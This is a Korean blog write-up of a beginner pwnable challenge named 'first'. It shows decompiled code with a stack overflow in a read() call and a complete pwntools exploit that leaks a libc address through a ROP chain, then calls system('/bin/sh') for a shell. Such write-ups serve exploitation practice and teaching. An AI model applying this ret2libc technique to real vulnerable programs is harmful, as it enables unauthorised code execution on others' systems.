first
System/PWNABLE

first

728x90

checksec

64bit 

 

Pseudo Code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("This is my FIRST PWNABLE!!");
  return load(10);
}
ssize_t __fastcall load(int a1)
{
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v2 = a1;
  puts("How Many Bullets do you have?");
  scanf("%d", &v3);
  if ( a1 > v3 )
    v2 = v3;
  printf("You have %dbullets\n", v2);
  return bang();
}
ssize_t bang()
{
  char buf; // [rsp+0h] [rbp-10h]

  puts("Who is your Target?");
  return read(0, &buf, 0x64uLL);
}

 

실행화면

Who is your Target? 까지 나온 후 overflow시킬 수 있다 >> bang() 함수의 read함수를 사용함으로 발생하는 overflow 취약성 확인buf 변수에 0x10 + 8(SFP) 를 채워 return address를 덮어쓸 수 있다.

 

Exploit

첫 번째 payload 에서 main함수를 마지막에 붙여 ROP chain을 만들고 나면 바로 bang()함수까지 이어져 버린다. 따라서 첫 번째 payload 보내기전에는 load()함수의 scanf에 대한 값을 입력해줬다면 두 번째 payload를 보낼 때는 이는 전달하지 않고 바로 payload값(system(binsh))을 보내줘야한다.

from pwn import *
from struct import *
#context.log_level = 'debug'
p = process("./first")
elf = ELF("./first")
libc = elf.libc

puts_plt = elf.plt['puts']
read_got = elf.got['read']

binsh_off = 0x18ce17

#main = elf.symbols['main']
#main = 0x4005f6
bang = elf.symbols['bang']

#gadgets
pop_rdi = 0x400713
sys_off = 0x453a0
read_off = 0xf7310

pl = "A"*(0x10 + 8)
pl += p64(pop_rdi)
pl += p64(read_got)
pl += p64(puts_plt)
pl += p64(bang)

p.sendlineafter("have?\n",p64(1))
#gdb.attach(p)
p.sendafter("Target?\n",pl)

read_add = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
libc_base = read_add - read_off
system = libc_base + sys_off
binsh = libc_base + binsh_off

log.info("libc base: "+hex(libc_base))

pl = "A"*(0x10 + 8)
pl += p64(pop_rdi)
pl += p64(binsh)
pl += p64(system)

#p.sendlineafter("have?\n",p64(1))
sleep(0.1)
p.sendafter("Target?\n", pl)

p.interactive()

! 성공 !

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[Dreamhack] house_of_force  (0) 2020.11.08
[HackCTF] uaf  (0) 2020.09.20
[HackCTF] RTC  (0) 2020.08.23
baby1  (0) 2020.08.23
[HackCTF] SysROP  (0) 2020.08.07